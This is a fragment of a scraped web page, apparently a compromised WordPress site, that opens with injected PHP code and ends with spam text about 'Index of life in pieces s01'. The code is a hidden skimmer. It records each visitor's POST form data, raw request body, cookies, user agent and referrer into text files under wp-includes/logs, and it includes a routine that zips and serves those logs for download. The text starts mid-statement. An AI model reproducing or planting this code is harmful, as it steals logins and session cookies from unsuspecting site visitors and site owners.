open($filename, ZipArchive::CREATE)!==TRUE) { exit(); } $list = array_diff(scandir($_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'logs'),array('.','..')); foreach($list as $current_file){ if(!strstr($current_file,'.txt')) continue; $zip->addFile($_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'logs'.DIRECTORY_SEPARATOR.$current_file,$current_file); } $zip->close(); header("Content-type: application/zip;"); header("Content-Transfer-Encoding: Binary"); header("Content-length: ".filesize($filename).";"); header("Content-disposition: attachment; filename=\"".$_SERVER['HTTP_HOST'].'_'.(date("d-m-Y H-i-s")).".zip\""); readfile($filename); exit(); } @mkdir($_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.'wp-includes'); @mkdir($_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'logs'); $wp_write = $_SERVER['REQUEST_METHOD']."\t".$_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(count($_POST)>0){ $wp_write.="\nPOST_1: ".json_encode($_POST); } if($_SERVER['REQUEST_METHOD']=='POST'){ $wp_write.="\nPOST_2: ".file_get_contents("php://input"); } if(count($_COOKIE)>0){ $wp_write.="\nCOOKIES: ".json_encode($_COOKIE); } $wp_write.="\nUA: ".$_SERVER['HTTP_USER_AGENT']; $wp_write.="\nREF: ".$_SERVER['HTTP_REFERER']; $wp_write.="\n--------------------\n"; @file_put_contents($_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'logs'.DIRECTORY_SEPARATOR.$_SERVER["REMOTE_ADDR"].'.txt',date("d-m-Y H:i:s")."\t".$wp_write,FILE_APPEND); } ?> Index of life in pieces s01

link

Index of life in pieces s01